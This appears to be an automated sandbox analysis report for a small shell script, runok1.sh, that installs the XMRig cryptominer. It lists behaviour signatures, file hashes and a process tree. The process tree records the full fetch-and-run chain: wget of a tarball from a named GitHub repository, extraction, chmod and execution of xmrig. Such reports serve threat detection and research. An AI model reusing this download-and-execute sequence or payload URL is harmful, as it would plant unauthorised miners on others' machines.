Analysis

  • max time kernel
    1s
  • max time network
    1707s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    17/10/2024, 00:29

General

  • Target
    runok1.sh
  • Size 138B
  • Sample241017-atd3kssaqd
  • SHA256 1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 21 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runok1.sh
    /tmp/runok1.sh
    1⤵
      PID:2515
      • /usr/bin/wget
        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:2517
      • /usr/bin/tar
        tar xvf ok.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:2523
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:2524
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:2524
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:2524
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:2524
              • /usr/bin/chmod
                chmod +x xmrig
                2⤵
                • File and Directory Permissions Modification
                PID:2525
              • /tmp/ok/xmrig
                ./xmrig
                2⤵
                • Executes dropped EXE
                • Checks hardware identifiers (DMI)
                • Reads hardware information
                • Checks CPU configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:2526

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .wget-hsts

                  • Path /root/.wget-hsts
                  • Size 215B
                  • SHA256 bb9b89110a794e07d84b4de26de37861345123eefd695c93e1d2400da6d62b4a
                  • MD5 SHA1 SHA512

                  ok.tar.gz

                  • Path /tmp/ok.tar.gz
                  • Size 2.9MB
                  • SHA256 9c8cf5b3799e0639fd8a3840481546c2697a07b7db036b6f9543213a805fcf67
                  • MD5 SHA1 SHA512 SSDEEP

                  SHA256SUMS

                  • Path /tmp/ok/SHA256SUMS
                  • Size 150B
                  • SHA256 c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6
                  • MD5 SHA1 SHA512

                  config.json

                  • Path /tmp/ok/config.json
                  • Size 2KB
                  • SHA256 64dda0b03564d8812657259c7df506e95ef6fb73afb3f69662c5a4f978d99156
                  • MD5 SHA1 SHA512

                  xmrig

                  • Path /tmp/ok/xmrig
                  • Size 6.7MB
                  • SHA256 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
                  • MD5 SHA1 SHA512 SSDEEP